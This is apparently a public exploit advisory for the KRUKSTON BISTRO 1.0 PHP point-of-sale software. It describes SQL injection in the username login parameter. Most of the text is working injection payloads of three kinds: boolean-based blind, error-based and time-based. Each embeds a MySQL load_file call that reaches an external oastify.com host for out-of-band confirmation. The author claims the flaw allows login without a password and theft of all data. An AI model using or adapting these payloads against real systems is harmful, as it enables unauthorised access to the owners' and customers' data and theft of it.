📄 KRUKSTON BISTRO 1.0 SQL Injection

# Titles: KRUKSTON-BISTRO-1.0 Multiple-SQLi
    # Author: nu11secur1ty
    # Date: 05/27/2025
    # Vendor: https://www.mayurik.com/
    # Software:
    https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
    # Reference: https://portswigger.net/web-security/sql-injection
    
    ## Description:
    The username parameter appears to be vulnerable to SQL injection attacks.
    The payload '+(select load_file('\\\\
    9v5dite7wz9iuiaxp8wlv631nstlhcl0c30vnlba.oastify.com\\opp'))+' was
    submitted in the username parameter. This payload injects a SQL sub-query
    that calls MySQL's load_file function with a UNC file path that references
    a URL on an external domain. The application interacted with that domain,
    indicating that the injected SQL query was executed. The attacker can get
    all sensitive information from this system when he attacks it online, He
    can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can
    crash or get every sensitive information from him!
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    - SQLi:
    
    ```SQLi
    ---
    Parameter: username (POST)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
        Payload: [email protected]'+(select load_file('\\\\
    9v5dite7wz9iuiaxp8wlv631nstlhcl0c30vnlba.oastify.com\\opp'))+'' OR NOT
    8325=8325 OR 'XTVm'='dUmZ&password=y5U!e4r!M5
    
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
    BY clause (FLOOR)
        Payload: [email protected]'+(select load_file('\\\\
    9v5dite7wz9iuiaxp8wlv631nstlhcl0c30vnlba.oastify.com\\opp'))+'' AND (SELECT
    5030 FROM(SELECT COUNT(*),CONCAT(0x7176786271,(SELECT
    (ELT(5030=5030,1))),0x71626b7671,FLOOR(RAND(0)*2))x FROM
    INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'wWOB'='jaYC&password=y5U!e4r!M5
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: [email protected]'+(select load_file('\\\\
    9v5dite7wz9iuiaxp8wlv631nstlhcl0c30vnlba.oastify.com\\opp'))+'' AND (SELECT
    3736 FROM (SELECT(SLEEP(7)))vHYg) OR 'ywJb'='xvTf&password=y5U!e4r!M5
    ---
    ```
    
    # Reproduce:
    [href](https://www.youtube.com/watch?v=rxxuhDIjvuM)
    
    # Buy an exploit only:
    [href](Who cares)
    
    # Time spent:
    00:35:00